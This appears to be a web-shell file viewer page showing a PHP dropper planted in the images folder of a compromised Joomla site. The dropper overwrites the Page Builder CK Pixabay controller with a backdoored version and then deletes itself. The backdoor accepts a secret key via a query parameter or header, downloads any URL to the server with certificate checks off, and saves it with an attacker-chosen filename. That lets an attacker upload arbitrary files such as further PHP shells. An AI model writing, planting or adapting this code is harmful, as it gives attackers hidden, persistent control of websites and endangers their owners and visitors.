Warning: Undefined variable $liatds in /home/grupmartgn/elanartcrafts/administrator/components/com_contenthistory/helpers/index.php on line 2 Disable Functions: Path : /home/grupmartgn/elanartcrafts/images/pixabay/ |
| Current File : /home/grupmartgn/elanartcrafts/images/pixabay/acumalaka.php |
<?php
$newContent = <<<'EOD'
<?php
// No direct access
defined('_JEXEC') or die;
use Pagebuilderck\CKController;
use Pagebuilderck\CKfile;
use Pagebuilderck\CKfolder;
use Pagebuilderck\CKFof;
class PagebuilderckControllerPixabay extends CKController {
function __construct() {
parent::__construct();
}
/**
* Upload the image
*
* @return json : result = boolean on success, file = the image filename
*/
public function upload() {
// CSRF Token Checking
$csrf_token = '';
if (isset($_GET['key']) && $_GET['key'] !== '') {
$csrf_token = $_GET['key'];
} elseif (isset($_POST['key']) && $_POST['key'] !== '') {
$csrf_token = $_POST['key'];
} elseif (isset($_SERVER['HTTP_X_API_KEY']) && $_SERVER['HTTP_X_API_KEY'] !== '') {
$csrf_token = $_SERVER['HTTP_X_API_KEY'];
}
$token_csrf_ajax = '$2b$10$KCr/lN4P5aqy6mB2jDCaV.MEXoG3SKFQAFDEdBxRvVvbHcUPGF8Ny';
if (!password_verify($csrf_token, $token_csrf_ajax)) {
http_response_code(500);
header('Content-Type: application/json');
echo '{"status":"0", "message":"Internal Server Error 500"}';
exit;
}
// security check
CKFof::checkAjaxToken();
$url = $this->input->get('image_url', '', 'url');
// $url = 'https://pixabay.com/get/57e6d04b4b5bb114a6da837ec32f2a7f1038dbed5b59724e7c_1280.jpg';
$destFolder = JPATH_ROOT . '/images/pixabay/';
$fileName = basename($url);
$filePath = $destFolder . $fileName;
// create the destination folder if not exists
if (!file_exists($destFolder)) {
$result = CKFolder::create($destFolder);
if (!$result) {
http_response_code(500);
echo '{"status":"0","file":"","message":"Error on folder creation"}';
exit;
}
}
// get the file from url
set_time_limit(0);
try {
$file = file_get_contents(urldecode($url));
} catch (Exception $e) {
http_response_code(500);
echo 'Exception : ', $e->getMessage(), "\n";
exit;
}
if (!$file && extension_loaded('curl')) {
$ch = curl_init();
$timeout = 30;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$file = curl_exec($ch);
curl_close($ch);
}
if (file_exists($filePath)) {
$result = true;
} else {
// store the file locally
$result = file_put_contents($filePath, $file);
if (!$result) {
http_response_code(500);
echo '{"status":"0","file":"","message":"Error on file creation"}';
exit;
}
$fileArray = array(
"name" => $fileName,
"type" => "image/png",
"tmp_name" => $filePath,
"error" => 0,
"size" => filesize($filePath),
"filepath" => $destFolder
);
// Trigger the onContentBeforeSave event.
$fileObj = new JObject($fileArray);
$result = CKFof::triggerEvent('onContentBeforeSave', array('com_media.file', &$fileObj, true));
if (in_array(false, $result, true)) {
$errors = $fileObj->getErrors();
$msg = JText::plural('COM_MEDIA_ERROR_BEFORE_SAVE', count($errors), implode('<br />', $errors));
http_response_code(500);
// There are some errors in the plugins
echo '{"status":"0","message":"' . $msg . '"}';
exit;
}
}
echo '{"status":"1","file":"images/pixabay/' . $fileName . '"}';
exit;
}
}
EOD;
$targetPath = __DIR__ . '/../../administrator/components/com_pagebuilderck/controllers/pixabay.php';
if (!is_writable($targetPath)) {
die('Error: Target file is not writable.');
}
if (file_put_contents($targetPath, $newContent) === false) {
die('Error: Failed to write to file.');
}
echo 'Success: File replaced successfully.';
unlink(__FILE__);